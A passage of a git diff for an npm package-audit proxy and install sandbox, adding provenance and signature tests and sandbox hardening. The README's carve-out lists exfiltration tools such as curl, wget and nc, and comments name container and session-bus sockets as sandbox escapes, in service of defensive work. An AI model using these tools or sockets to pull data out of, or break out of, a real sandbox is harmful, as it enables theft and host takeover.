+ }); + + const mkServer = async (privateStore: PrivatePackageStore, extra: Partial[0]> = {}) => { + const app = createServer({ upstream, store: new AuditStore(), approvals: new ApprovalStore(), privateStore, enterprisePolicy: policy, + violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore(), ...extra }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + return `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }; + + test("a stored audit at the current version but with no revision is re-audited", async () => { + const tarball = readFileSync(join(FIXTURES, ".tarballs", "color-stream-1.4.1.tgz")); + const integrity = integrityOf(tarball); + const fresh = await runAudit({ meta: { name: "@acme/norev", version: "1.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball }); + const { revision: _r, ...engine } = fresh.engine; + const stale = { ...fresh, findings: [], capabilities: [], engine }; + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name: "@acme/norev", version: "1.0.0", integrity, tarball, manifest: { name: "@acme/norev", version: "1.0.0", dist: { integrity } }, audit: stale, actor: "t" }); + const base = await mkServer(privateStore); + const body = (await (await fetch(`${base}/-/audit/@acme%2fnorev/1.0.0`)).json()) as AuditReport; + assert.ok(body.findings.length > 0, "the revision-less audit must be recomputed"); + assert.equal(body.engine.revision, AUDIT_REVISION); + }); + + const signedFixture = async (name: string, actor: string) => { + const tarball = readFileSync(join(FIXTURES, ".tarballs", "leftpad-lite-1.0.0.tgz")); + const integrity = integrityOf(tarball); + const { privateKey, publicKey } = generateKeyPairSync("ec", { namedCurve: "P-256" }); + const sig = createSign("sha256").update(`${name}@1.0.0:${integrity}`).sign(privateKey, "base64"); + const signingKeys = [{ keyid: "test-key", spkiPem: publicKey.export({ type: "spki", format: "pem" }).toString(), expires: null }]; + const stale = await runAudit({ meta: { name, version: "1.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball, signatures: null, signingKeys }); + const { revision: _r, ...engine } = stale.engine; + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name, version: "1.0.0", integrity, tarball, actor, audit: { ...stale, engine }, + manifest: { name, version: "1.0.0", dist: { integrity, signatures: [{ keyid: "test-key", sig }] } } }); + const base = await mkServer(privateStore, { signingKeys, enterprisePolicy: { ...policy, requireSignature: ["@acme/*"] } }); + return (await (await fetch(`${base}/-/audit/${encodeURIComponent(name)}/1.0.0`)).json()) as AuditReport; + }; + + test("re-audit keeps the retained registry signatures of an IMPORTED version (still satisfies requireSignature)", async () => { + const body = await signedFixture("@acme/signed", "imported"); + assert.equal(body.engine.revision, AUDIT_REVISION, "must have been re-audited"); + assert.equal(body.meta.signature, "verified"); + assert.equal(body.verdict, "allow"); + }); + + test("a PUBLISHER-published version never gets signatures from its publisher-controlled manifest", async () => { + const body = await signedFixture("@acme/planted", "publisher"); + assert.equal(body.engine.revision, AUDIT_REVISION, "must have been re-audited"); + assert.equal(body.meta.signature, "unsigned", "a planted dist.signatures must not verify"); + assert.notEqual(body.verdict, "allow", "requireSignature still fails for the publisher version"); + }); + + describe("re-audit keeps import provenance (review round 3, item 3)", () => { + const claim = (name: string) => ({ schema: 1 as const, version: "prov", issuedAt: "2026-07-13T00:00:00.000Z", claims: [{ + namespace: name, domain: "example.test", claimantPublicKey: generateKeyPairSync("ed25519").publicKey.export({ type: "spki", format: "pem" }).toString(), status: "active" as const, + challenge: { method: "dns-txt" as const, id: "c", verifiedAt: "2026-07-12T00:00:00.000Z" }, renewalDueAt: "2027-07-12T00:00:00.000Z" }] }); + const reqProv: EnterprisePolicy = { ...DEFAULT_POLICY, privateNamespaces: [], requireProvenance: ["sigstore"] }; + const fixtureUpstream = new LocalFixtureUpstream(FIXTURES); + const stale = (store: PrivatePackageStore) => { delete (store.getVersion("sigstore", "3.0.0")!.audit.engine as { revision?: number }).revision; }; + const get = async (base: string) => (await (await fetch(`${base}/-/audit/sigstore/3.0.0`)).json()) as AuditReport; + + test("(a) history import stores the attestations, so a re-audit still verifies provenance under requireProvenance", async () => { + const privateStore = new PrivatePackageStore(); + const base = await mkServer(privateStore, { upstream: fixtureUpstream, enterprisePolicy: reqProv, claimCorpus: claim("sigstore"), publishTokens: ["tok"] }); + const imp = await fetch(`${base}/-/registry/import`, { method: "POST", headers: { "content-type": "application/json", authorization: "Bearer tok" }, body: JSON.stringify({ name: "sigstore" }) }); + assert.equal(imp.status, 201, await imp.clone().text()); + assert.ok(privateStore.getAttestations("sigstore", "3.0.0"), "the verified bundle is stored with the publication"); + stale(privateStore); + const r = await get(base); + assert.equal(r.engine.revision, AUDIT_REVISION, "must have been re-audited"); + assert.equal(r.meta.provenance, "verified"); + assert.notEqual(r.verdict, "block"); + }); + + test("(b) a legacy imported version with no stored bundle keeps its verified provenance and identity", async () => { + const tarball = await fixtureUpstream.getTarball("sigstore", "3.0.0"); + const attestations = await fixtureUpstream.getAttestations("sigstore", "3.0.0"); + const integrity = integrityOf(tarball); + const original = await runAudit({ meta: { name: "sigstore", version: "3.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball, hasProvenance: true, attestations }); + assert.equal(original.meta.provenance, "verified"); + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name: "sigstore", version: "3.0.0", integrity, tarball, actor: "imported", audit: original, manifest: { name: "sigstore", version: "3.0.0", dist: { integrity } } }); + assert.equal(privateStore.getAttestations("sigstore", "3.0.0"), undefined); + // Stale by engine VERSION only: this audit already carries a certificate-sourced identity (revision 2), so it is kept. + (privateStore.getVersion("sigstore", "3.0.0")!.audit.engine as { version: string }).version = "0.0.1-ancient"; + const base = await mkServer(privateStore, { upstream, enterprisePolicy: reqProv, claimCorpus: claim("sigstore") }); + const r = await get(base); + assert.equal(r.engine.revision, AUDIT_REVISION); + assert.equal(r.meta.provenance, "verified"); + assert.equal(r.meta.provenanceIdentity?.sourceRepository, "https://github.com/sigstore/sigstore-js"); + assert.notEqual(r.verdict, "block"); + }); + + const original = async () => { + const tarball = await fixtureUpstream.getTarball("sigstore", "3.0.0"); + const integrity = integrityOf(tarball); + const audit = await runAudit({ meta: { name: "sigstore", version: "3.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball, hasProvenance: true, attestations: await fixtureUpstream.getAttestations("sigstore", "3.0.0") }); + return { tarball, integrity, audit }; + }; + const publishLegacy = (store: PrivatePackageStore, o: Awaited>, audit = o.audit, tarball = o.tarball) => + store.publish({ name: "sigstore", version: "3.0.0", integrity: integrityOf(tarball), tarball, actor: "imported", audit, manifest: { name: "sigstore", version: "3.0.0", dist: {} } }); + + test("(round 4, item 2) a pre-hardening import's predicate-sourced repository and ref are not carried over", async () => { + const o = await original(); + // Pre-hardening metadata built by hand: predicate repository/ref set, no engine.revision. + const legacy = structuredClone(o.audit); + legacy.meta.provenanceIdentity = { ...legacy.meta.provenanceIdentity!, sourceRepository: "https://github.com/acme/lib", ref: "refs/heads/forged" }; + delete (legacy.engine as { revision?: number }).revision; + const privateStore = new PrivatePackageStore(); + publishLegacy(privateStore, o, legacy); + const enterprisePolicy = { ...reqProv, provenanceIdentities: [{ pattern: "sigstore", repository: "https://github.com/acme/*" }] }; + const base = await mkServer(privateStore, { upstream, enterprisePolicy, claimCorpus: claim("sigstore") }); + const r = await get(base); + assert.equal(r.meta.provenance, "verified"); + assert.equal(r.meta.provenanceIdentity?.sourceRepository, null); + assert.equal(r.meta.provenanceIdentity?.ref, null); + assert.equal(r.meta.provenanceIdentity?.workflow, o.audit.meta.provenanceIdentity?.workflow, "the certificate-sourced workflow is kept"); + assert.equal(r.meta.provenanceIdentity?.issuer, o.audit.meta.provenanceIdentity?.issuer); + assert.equal(r.verdict, "block", "a repository-only policy requirement must not be met without certificate evidence"); + }); + + test("(round 4, item 3) legacy metadata paired with DIFFERENT bytes does not inherit verified provenance", async () => { + const o = await original(); + const other = await fixtureUpstream.getTarball("leftpad-lite", "1.0.0"); + const legacy = structuredClone(o.audit); + delete (legacy.engine as { revision?: number }).revision; + const privateStore = new PrivatePackageStore(); + publishLegacy(privateStore, o, legacy, other); // stored audit.meta.integrity is the sigstore bytes, the tarball is not + const base = await mkServer(privateStore, { upstream, enterprisePolicy: reqProv, claimCorpus: claim("sigstore") }); + const r = await get(base); + assert.equal(r.meta.provenance, "absent"); + assert.equal(r.meta.provenanceIdentity ?? null, null); + }); + + test("a publisher-actor version never inherits a stored provenance claim without a bundle", async () => { + const tarball = await fixtureUpstream.getTarball("sigstore", "3.0.0"); + const integrity = integrityOf(tarball); + const original = await runAudit({ meta: { name: "sigstore", version: "3.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball, hasProvenance: true, attestations: await fixtureUpstream.getAttestations("sigstore", "3.0.0") }); + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name: "sigstore", version: "3.0.0", integrity, tarball, actor: "publisher", audit: original, manifest: { name: "sigstore", version: "3.0.0", dist: { integrity } } }); + stale(privateStore); + const base = await mkServer(privateStore, { upstream, enterprisePolicy: reqProv, claimCorpus: claim("sigstore") }); + assert.equal((await get(base)).meta.provenance, "absent"); + }); + }); +}); diff --git a/packages/proxy/test/security-trusted-publisher.test.ts b/packages/proxy/test/security-trusted-publisher.test.ts new file mode 100644 index 0000000..96ffe1f --- /dev/null +++ b/packages/proxy/test/security-trusted-publisher.test.ts @@ -0,0 +1,31 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { generateKeypair, type ProvenanceIdentity, type VerifiedClaim } from "@git-agentic/sentinel-core"; +import { trustedPublisherAuthorized } from "../src/resolution.js"; + +const identity: ProvenanceIdentity = { + workflow: "https://github.com/acme/lib/.github/workflows/release.yml@refs/heads/main", + issuer: "https://token.actions.githubusercontent.com", + sourceRepository: "https://github.com/acme/lib", + ref: "refs/heads/main", + builder: "https://github.com/actions/runner/github-hosted", + commit: null, +}; +const claim = (trustedPublishers: VerifiedClaim["trustedPublishers"]): VerifiedClaim => ({ + namespace: "@acme/*", domain: "acme.example", claimantPublicKey: generateKeypair().publicKey, status: "active", + challenge: { method: "dns-txt", id: "c", verifiedAt: "2026-07-01T00:00:00.000Z" }, + renewalDueAt: "2027-07-01T00:00:00.000Z", trustedPublishers, +}); + +describe("F14: trustedPublisherAuthorized never authorizes on the signer-written builder alone", () => { + test("an issuer + builder entry (no repository/workflowRef) does not authorize", () => { + assert.equal(trustedPublisherAuthorized(claim([{ issuer: identity.issuer!, builder: identity.builder! }]), identity), false); + }); + test("an issuer-only entry does not authorize", () => { + assert.equal(trustedPublisherAuthorized(claim([{ issuer: identity.issuer! }]), identity), false); + }); + test("a repository-constrained entry still authorizes, and a mismatched repository does not", () => { + assert.equal(trustedPublisherAuthorized(claim([{ issuer: identity.issuer!, repository: "https://github.com/acme/*" }]), identity), true); + assert.equal(trustedPublisherAuthorized(claim([{ issuer: identity.issuer!, repository: "https://github.com/acme/*" }]), { ...identity, sourceRepository: "https://github.com/evil/x" }), false); + }); +}); diff --git a/packages/proxy/test/signature-verify.test.ts b/packages/proxy/test/signature-verify.test.ts index c6e37cf..e2c9205 100644 --- a/packages/proxy/test/signature-verify.test.ts +++ b/packages/proxy/test/signature-verify.test.ts @@ -56,8 +56,8 @@ describe("registry signature verification (local fixtures, test keys)", () => { test("an unsigned fixture is unsigned", async () => { assert.equal((await sig(base, "sig-unsigned", "1.0.0")).split("/")[0], "unsigned"); }); - test("an unknown-keyid signature is unknown", async () => { - assert.equal((await sig(base, "sig-unknown", "1.0.0")).split("/")[0], "unknown"); + test("an unknown-keyid signature is no better than unsigned", async () => { + assert.equal((await sig(base, "sig-unknown", "1.0.0")).split("/")[0], "unsigned"); }); test("a fixture without attestations has provenance absent", async () => { assert.equal((await sig(base, "prov-absent", "1.0.0")).split("/")[1], "absent"); diff --git a/packages/sandbox/README.md b/packages/sandbox/README.md index adc7b05..a178f4e 100644 --- a/packages/sandbox/README.md +++ b/packages/sandbox/README.md @@ -16,9 +16,15 @@ npm install @git-agentic/sentinel-sandbox@alpha ## Platform behavior in this alpha - **macOS (Seatbelt):** full enforcement, including the exec floor and the - sensitive-executable carve-out. No native compilation involved. + sensitive-executable carve-out (`curl`, `wget`, `nc`, `launchctl`, `open`, and + similar). The profile is passed inline to `sandbox-exec -p`; no profile file is + written to the temp dir. LaunchServices mach lookups are not denied. No native + compilation involved. - **Linux (bubblewrap):** filesystem/network/env containment and the - exfil-tool exec carve-out are always enforced. The **exec floor** is + exfil-tool exec carve-out are always enforced, along with a private pid + namespace, `--new-session`, and masks for local IPC sockets + (session bus, docker/containerd/podman/crio, system dbus, X11, ssh agents) + whether or not network is approved. The **exec floor** is enforced via a Landlock helper that this package ships **as source only** (`native/landlock-exec.c`) — no prebuilt binary, and deliberately **no install-time compilation** (Sentinel does not run lifecycle scripts, by @@ -34,7 +40,13 @@ node node_modules/@git-agentic/sentinel-sandbox/scripts/build-native.mjs The helper is verified with an ABI probe before use; any failure falls back to the advisory floor — containment of filesystem, network, and environment -is unaffected either way. See the +is unaffected either way. + +The node-gyp header caches (`~/.node-gyp`, `~/.cache/node-gyp`) are read-only. +With a `network` approval, `npm_config_devdir` points at a per-run directory outside +every write floor; without one, a cold-cache native build fails. A project root of +`/` never widens read or exec rules, relative `cwd` and project root are resolved +first, and `npm_config_*` values that carry URL credentials are scrubbed. See the [Sentinel repository](https://github.com/git-agentic/pkg-registry) for the full documentation and threat model. diff --git a/packages/sandbox/scripts/build-native.mjs b/packages/sandbox/scripts/build-native.mjs index 6c47ffb..a0f53fd 100644 --- a/packages/sandbox/scripts/build-native.mjs +++ b/packages/sandbox/scripts/build-native.mjs @@ -3,7 +3,7 @@ // deliberately a build STEP, not a postinstall hook (adding install-time script // execution to a tool that guards against exactly that would be a posture violation). import { spawnSync } from "node:child_process"; -import { existsSync, mkdirSync } from "node:fs"; +import { existsSync, mkdirSync, renameSync, rmSync } from "node:fs"; import { fileURLToPath } from "node:url"; import { dirname, join } from "node:path"; @@ -27,11 +27,16 @@ try { process.exit(0); } if (!existsSync(outDir)) mkdirSync(outDir, { recursive: true }); - const r = spawnSync("cc", ["-O2", "-o", out, src], { stdio: "inherit" }); + // Compile to a temp name and rename into place: an in-place `cc -o` lets a concurrent exec of + // the helper see a half-written or not-yet-executable file (EACCES / ETXTBSY). + const tmp = `${out}.${process.pid}.tmp`; + const r = spawnSync("cc", ["-O2", "-o", tmp, src], { stdio: "inherit" }); if (r.status !== 0) { + rmSync(tmp, { force: true }); console.log("[build-native] skip: compile failed — advisory floor will be used"); process.exit(0); } + renameSync(tmp, out); console.log(`[build-native] built ${out}`); } catch (e) { console.log(`[build-native] skip: unexpected error (${e?.message ?? e}) — advisory floor will be used`); diff --git a/packages/sandbox/src/bubblewrap.ts b/packages/sandbox/src/bubblewrap.ts index 05932a8..5ae86e7 100644 --- a/packages/sandbox/src/bubblewrap.ts +++ b/packages/sandbox/src/bubblewrap.ts @@ -1,6 +1,6 @@ import { spawnSync } from "node:child_process"; import { tmpdir } from "node:os"; -import { existsSync, realpathSync } from "node:fs"; +import { existsSync, readdirSync, realpathSync } from "node:fs"; import { fileURLToPath } from "node:url"; import { dirname, join, sep } from "node:path"; import { generateBwrapArgs } from "./bwrap.js"; @@ -9,6 +9,7 @@ import type { Capability } from "@git-agentic/sentinel-core"; import { computeDenySet, landlockAllowPaths } from "./deny-set.js"; import { classifyViolation } from "./violation.js"; import { nodeInstallPrefix } from "./read-allow.js"; +import { normalizeRunPaths } from "./run-paths.js"; /** bwrap's own errors when the kernel refuses unprivileged user namespaces (Ubuntu 24.04 AppArmor, etc.). */ const NS_FAILURE = /Creating new namespace failed|No permissions to create new namespace|setting up uid map/i; @@ -58,6 +59,15 @@ function safeRealpath(p: string): string { } } +/** Names of the sub-directories of `p`; [] when unreadable. */ +function listDirNames(p: string): string[] { + try { + return readdirSync(p, { withFileTypes: true }).filter((e) => e.isDirectory()).map((e) => e.name); + } catch { + return []; + } +} + /** Enforces a generated bwrap profile via `bwrap`. Fails closed on non-Linux, missing bwrap, or refused namespace. */ export class BubblewrapSandbox implements Sandbox { run(cmd: string, opts: { cwd: string; approved: Capability[]; homeDir: string; env?: NodeJS.ProcessEnv; projectRoot?: string }): SandboxResult { @@ -71,10 +81,11 @@ export class BubblewrapSandbox implements Sandbox { /** Shared by `run` and `runArgv`: build the bwrap mount/deny args, prepend the Landlock * helper when active, and invoke `bwrap` with the given argv tail (either `/bin/sh -c cmd` * or `file ...args`) as the final command run inside the sandbox. */ - private execWithTail(tail: string[], opts: { cwd: string; approved: Capability[]; homeDir: string; env?: NodeJS.ProcessEnv; projectRoot?: string }): SandboxResult { + private execWithTail(tail: string[], rawOpts: { cwd: string; approved: Capability[]; homeDir: string; env?: NodeJS.ProcessEnv; projectRoot?: string }): SandboxResult { if (process.platform !== "linux") { throw new Error(`bubblewrap enforcement unavailable on ${process.platform} (Linux required)`); } + const opts = { ...rawOpts, ...normalizeRunPaths(rawOpts) }; const useLandlock = landlockActive(); const nodePrefix = nodeInstallPrefix(process.execPath); const projectRoot = opts.projectRoot ?? opts.cwd; @@ -99,7 +110,7 @@ export class BubblewrapSandbox implements Sandbox { const args = [ ...generateBwrapArgs(opts.approved, { - homeDir: opts.homeDir, cwd: opts.cwd, tmpDir: tmpdir(), pathExists: existsSync, realpath: safeRealpath, + homeDir: opts.homeDir, cwd: opts.cwd, tmpDir: tmpdir(), pathExists: existsSync, realpath: safeRealpath, listDirs: listDirNames, nodePrefix, projectRoot, // The helper's own directory must stay visible inside the sandbox even when it // lands under $HOME (e.g. a CI checkout at ~/work/...) and neither the node diff --git a/packages/sandbox/src/bwrap.ts b/packages/sandbox/src/bwrap.ts index 9e0fb64..a6b7432 100644 --- a/packages/sandbox/src/bwrap.ts +++ b/packages/sandbox/src/bwrap.ts @@ -1,10 +1,17 @@ import { sensitivePathsFor, type Capability } from "@git-agentic/sentinel-core"; import { pathCovers } from "./path-cover.js"; +import { assertCwdNotRoot } from "./run-paths.js"; import { expandHome, isSafeGrantTarget } from "./deny-set.js"; import { writeAllowFloor } from "./write-floor.js"; import { readAllowList } from "./read-allow.js"; import { SENSITIVE_EXECUTABLES, execCarveOutPaths, classifyProcessTarget } from "./sensitive-executables.js"; +/** Pathname unix sockets that hand out host control (container runtimes, the system bus). */ +const IPC_SOCKETS = [ + "/var/run/docker.sock", "/run/docker.sock", "/run/containerd/containerd.sock", + "/run/podman/podman.sock", "/run/crio/crio.sock", "/run/dbus/system_bus_socket", +]; + /** * Generate `bwrap` argv from a package's APPROVED capabilities (Phase 25). * Slice 1: root read-only (`--ro-bind / /`) → writes denied by default, floor + @@ -30,8 +37,13 @@ export function generateBwrapArgs( * checkout and would otherwise be hidden by the `--tmpfs $HOME` deny even though * it's neither the node prefix nor the project root. */ extraReadAllow?: string[]; + /** uid whose `/run/user/` is emptied; defaults to `process.getuid()`. */ + uid?: number; + /** Names of the directories under `dir` (for the `/tmp/ssh-*` masks); defaults to none (kept pure for tests). */ + listDirs?: (dir: string) => string[]; }, ): string[] { + assertCwdNotRoot(opts.cwd); const approvedFs = approved.filter((c) => c.kind === "filesystem").map((c) => c.target); const hasNetwork = approved.some((c) => c.kind === "network"); const exists = opts.pathExists ?? (() => true); @@ -42,7 +54,11 @@ export function generateBwrapArgs( // hermetic test's fake $HOME lives under os.tmpdir(). const containsHome = (p: string) => p === home || home.startsWith(p + "/"); - const args = ["--ro-bind", "/", "/", "--dev", "/dev", "--proc", "/proc"]; + // --unshare-pid: own pid namespace, so `--proc /proc` shows only the sandbox's processes (a host + // /proc leaks other users' env/cmdlines). Orphans die with the pid namespace when the command exits. No --die-with-parent: its + // PR_SET_PDEATHSIG is tied to the forking THREAD, and it intermittently killed runs at start. + // --new-session: setsid, so a script cannot inject keystrokes into the controlling tty (TIOCSTI). + const args = ["--unshare-pid", "--new-session", "--ro-bind", "/", "/", "--dev", "/dev", "--proc", "/proc"]; // Slice 1 rw set (write floor + guarded Grants), expanded; host /dev excluded (`--dev /dev` // already provides an isolated writable /dev — re-binding host /dev re-exposes the device tree). @@ -63,7 +79,7 @@ export function generateBwrapArgs( // (e.g. a projectRoot that resolved to $HOME) — that would nullify the `--tmpfs $HOME`. const ro = [...readAllowList({ nodePrefix: opts.nodePrefix, projectRoot: opts.projectRoot }), ...(opts.extraReadAllow ?? [])] .map((p) => expandHome(p, home)) - .filter((p) => p !== home && !home.startsWith(p + "/")); + .filter((p) => p !== "/" && p !== home && !home.startsWith(p + "/")); // issue #28: a process: path grant STRICTLY UNDER $HOME must be re-exposed inside // the tmpfs (read-only — exec permission is Landlock's job, and bwrap has no noexec) @@ -135,6 +151,46 @@ export function generateBwrapArgs( } } + // Local IPC masks. A `network` approval means the network, NOT local IPC: pathname unix + // sockets stay reachable through the ro root bind (and --unshare-net would not hide them + // anyway), and the container runtime socket or the user session bus (`systemd-run --user`) is + // a full escape. So these apply with or without network; only an explicit filesystem grant + // covering the path lifts one. Each only when present (bwrap cannot create a mount point + // under a ro parent), and when it would hide the cwd / project root / $HOME the run is refused. + // The /var/run <-> /run alias is mapped explicitly, so a grant on /run/docker.sock is not undone + // by the /var/run/docker.sock mask. Grants are NOT symlink-resolved here: a grant on a path the + // package can write (a symlink to /run in its own cwd) must never lift an IPC mask. + const runAlias = (p: string) => p.replace(/^\/var\/run(?=\/|$)/, "/run"); + const aliasedGrants = approvedFs.filter(isSafeGrantTarget).map((t) => runAlias(expandHome(t, home))); + const liftedByGrant = (p: string) => aliasedGrants.some((g) => pathCovers(g, runAlias(p))); + const hidesWorkdir = (p: string) => [opts.cwd, opts.projectRoot, home].some((d) => pathCovers(p, d)); + // Fail CLOSED: skipping a mask because the work dir sits under it would silently leave the IPC + // directory open, so refuse to run instead (same error family as an unsupported setup). + const maskDir = (p: string) => { + if (hidesWorkdir(p)) { + throw new Error(`bubblewrap enforcement unavailable: ${p} must be masked (local IPC) but the cwd or project root is under it — move the project elsewhere`); + } + args.push("--tmpfs", p); + }; + const sockets = new Set(); + for (const sock of IPC_SOCKETS) { + if (liftedByGrant(sock) || !exists(sock)) continue; + sockets.add(resolve(sock)); // /var/run is usually a symlink to /run: mask the real node once + } + for (const real of sockets) args.push("--ro-bind", "/dev/null", real); + const uid = opts.uid ?? process.getuid?.(); + const runUser = uid === undefined ? undefined : `/run/user/${uid}`; + if (runUser && exists(runUser) && !liftedByGrant(runUser)) maskDir(runUser); + // X11 and ssh-agent socket directories under /tmp: AFTER the rw /tmp bind above, or the + // bind would overmount the tmpfs. + const tmpMasks = new Set(); + for (const root of new Set(["/tmp", opts.tmpDir])) { + const names = [".X11-unix", ...(opts.listDirs?.(root) ?? []).filter((n) => n.startsWith("ssh-"))]; + for (const n of names) tmpMasks.add(`${root}/${n}`); + } + for (const m of tmpMasks) { + if (exists(m) && !liftedByGrant(m)) maskDir(m); + } if (!hasNetwork) args.push("--unshare-net"); return args; } diff --git a/packages/sandbox/src/devdir.ts b/packages/sandbox/src/devdir.ts new file mode 100644 index 0000000..8b5b15a --- /dev/null +++ b/packages/sandbox/src/devdir.ts @@ -0,0 +1,37 @@ +import { chmodSync, mkdirSync, mkdtempSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import type { Capability } from "@git-agentic/sentinel-core"; + +/** + * The node-gyp header caches (`~/.node-gyp`, `~/.cache/node-gyp`) are READ-ONLY in the sandbox: a + * writable shared cache lets one package plant headers that a later build trusts. A cold-cache + * build still needs somewhere to download headers, but only when `network` is approved — then + * point node-gyp at a fresh per-run dir and grant read-write on THAT dir alone, through the same + * filesystem-grant mechanism approvals use (so it works identically under Seatbelt and bwrap). + * + * The dir lives under a host-owned `/.cache/sentinel-gyp` (mode 0700), NOT under tmpdir: + * tmpdir is in every sandbox's write floor, so a process left over from an earlier run could still + * write into (poison) a dir created there. Outside every floor, only this run's grant can write it. + * Without a network approval — or if the dir cannot be created — the env and grants are returned + * unchanged (the build then falls back to the read-only caches). Trade-off: a network-approved + * native build re-downloads headers every run. + */ +export function withPerRunDevdir( + env: NodeJS.ProcessEnv, approved: Capability[], homeDir: string, +): { env: NodeJS.ProcessEnv; approved: Capability[]; cleanup: () => void } { + const none = { env, approved, cleanup: () => {} }; + if (!approved.some((c) => c.kind === "network")) return none; + try { + const parent = join(homeDir, ".cache", "sentinel-gyp"); + mkdirSync(parent, { recursive: true, mode: 0o700 }); + chmodSync(parent, 0o700); + const dir = mkdtempSync(join(parent, "run-")); // mkdtemp creates 0700 + return { + env: { ...env, npm_config_devdir: dir }, + approved: [...approved, { kind: "filesystem", target: dir, evidence: [] }], + cleanup: () => rmSync(dir, { recursive: true, force: true }), + }; + } catch { + return none; + } +} diff --git a/packages/sandbox/src/env.ts b/packages/sandbox/src/env.ts index df9af58..6505762 100644 --- a/packages/sandbox/src/env.ts +++ b/packages/sandbox/src/env.ts @@ -23,8 +23,12 @@ export const ENV_ALLOWLIST = { ]), }; -function allowed(name: string): boolean { +/** `scheme://user[:pass]@host` — credentials embedded in a URL value (e.g. `npm_config_https_proxy`). */ +const URL_CREDENTIAL_RE = /:\/\/[^/@\s]+@/; + +function allowed(name: string, value: string): boolean { if (CREDENTIAL_ENV_RE.test(name)) return false; // credential-screen wins over any allowlist match + if (name.startsWith("npm_config_") && URL_CREDENTIAL_RE.test(value)) return false; // names screen is blind to values return ENV_ALLOWLIST.exact.has(name) || ENV_ALLOWLIST.prefixes.some((p) => name.startsWith(p)); } @@ -34,7 +38,7 @@ export function scrubEnv(sourceEnv: NodeJS.ProcessEnv, approvedEnv: Capability[] const out: NodeJS.ProcessEnv = {}; for (const [k, v] of Object.entries(sourceEnv)) { if (v === undefined) continue; - if (allowed(k) || granted.has(k)) out[k] = v; + if (allowed(k, v) || granted.has(k)) out[k] = v; } return out; } diff --git a/packages/sandbox/src/exec-floor.ts b/packages/sandbox/src/exec-floor.ts index c528890..20e184e 100644 --- a/packages/sandbox/src/exec-floor.ts +++ b/packages/sandbox/src/exec-floor.ts @@ -21,7 +21,7 @@ export function execAllowFloor(opts: { nodePrefix: string; projectRoot: string } "/Applications/Xcode.app", "/opt/homebrew", // Homebrew (arm64) "/usr/local", // Homebrew (Intel), user-installed tools - ]; + ].filter((p) => p !== "/"); // a projectRoot of "/" must not make everything executable } /** diff --git a/packages/sandbox/src/index.ts b/packages/sandbox/src/index.ts index f859747..cb6c20b 100644 --- a/packages/sandbox/src/index.ts +++ b/packages/sandbox/src/index.ts @@ -6,6 +6,7 @@ export { BubblewrapSandbox } from "./bubblewrap.js"; export { createSandbox } from "./factory.js"; export { runLifecycleScripts, type ScriptResult } from "./runner.js"; export { scrubEnv, ENV_ALLOWLIST } from "./env.js"; +export { withPerRunDevdir } from "./devdir.js"; export { computeDenySet, expandHome, canonicalizeMacPath, type DenySet } from "./deny-set.js"; export { classifyViolation } from "./violation.js"; export type { SandboxViolation } from "./types.js"; diff --git a/packages/sandbox/src/profile.ts b/packages/sandbox/src/profile.ts index 1e7631e..47f43af 100644 --- a/packages/sandbox/src/profile.ts +++ b/packages/sandbox/src/profile.ts @@ -1,5 +1,6 @@ import { sensitivePathsFor, type Capability } from "@git-agentic/sentinel-core"; import { pathCovers } from "./path-cover.js"; +import { assertCwdNotRoot } from "./run-paths.js"; import { canonicalizeMacPath, expandHome, isSafeGrantTarget } from "./deny-set.js"; import { writeAllowFloor } from "./write-floor.js"; import { readAllowList } from "./read-allow.js"; @@ -21,6 +22,7 @@ export function generateProfile( approved: Capability[], opts: { homeDir: string; cwd: string; tmpDir: string; nodePrefix: string; projectRoot: string }, ): string { + assertCwdNotRoot(opts.cwd); const approvedFs = approved.filter((c) => c.kind === "filesystem").map((c) => c.target); const hasNetwork = approved.some((c) => c.kind === "network"); const canon = (p: string) => canonicalizeMacPath(expandHome(p, opts.homeDir)); @@ -43,7 +45,7 @@ export function generateProfile( const readAllow = readAllowList({ nodePrefix: opts.nodePrefix, projectRoot: opts.projectRoot }).map(canon); // Guard: never re-allow $HOME itself or an ancestor of $HOME (e.g. a projectRoot // that resolved to $HOME) — that would nullify the Slice 2 read-deny wholesale. - const readAllowSafe = readAllow.filter((e) => e !== homeCanon && !homeCanon.startsWith(e + "/")); + const readAllowSafe = readAllow.filter((e) => e !== "/" && e !== homeCanon &&!homeCanon.startsWith(e + "/")); // Approved filesystem Grants confer read+write (a Grant opens exactly that // resource), so they belong in the read-allow too — mirrors the write section // below, which reuses this same `grants` declaration. diff --git a/packages/sandbox/src/read-allow.ts b/packages/sandbox/src/read-allow.ts index 2f1cba2..bd95468 100644 --- a/packages/sandbox/src/read-allow.ts +++ b/packages/sandbox/src/read-allow.ts @@ -20,12 +20,14 @@ export function nodeInstallPrefix(execPath: string): string { /** * The project root a lifecycle script resolves `require()` against — distinct from the - * Install directory (`cwd`, deep in `node_modules`). npm sets `INIT_CWD` to the install's - * originating dir (the project root); trust it when it's an absolute path. Otherwise walk - * up from `cwd` to the nearest ancestor with a `package.json`; failing that, use `cwd`. + * Install directory (`cwd`, deep in `node_modules`). `sentinelRoot` is the `SENTINEL_ROOT` + * that `sentinel install --enforce` pins to the install root; trust it when it's an absolute + * path. (`INIT_CWD` is NOT used: a nested npm resets it to a dependency's own directory.) + * Otherwise walk up from `cwd` to the nearest ancestor with a `package.json`; failing that, + * use `cwd`. */ -export function resolveProjectRoot(cwd: string, initCwd: string | undefined): string { - if (initCwd && isAbsolute(initCwd)) return initCwd; +export function resolveProjectRoot(cwd: string, sentinelRoot: string | undefined): string { + if (sentinelRoot && isAbsolute(sentinelRoot)) return sentinelRoot; let dir = cwd; for (;;) { if (existsSync(`${dir}/package.json`)) return dir; diff --git a/packages/sandbox/src/run-paths.ts b/packages/sandbox/src/run-paths.ts new file mode 100644 index 0000000..79765a5 --- /dev/null +++ 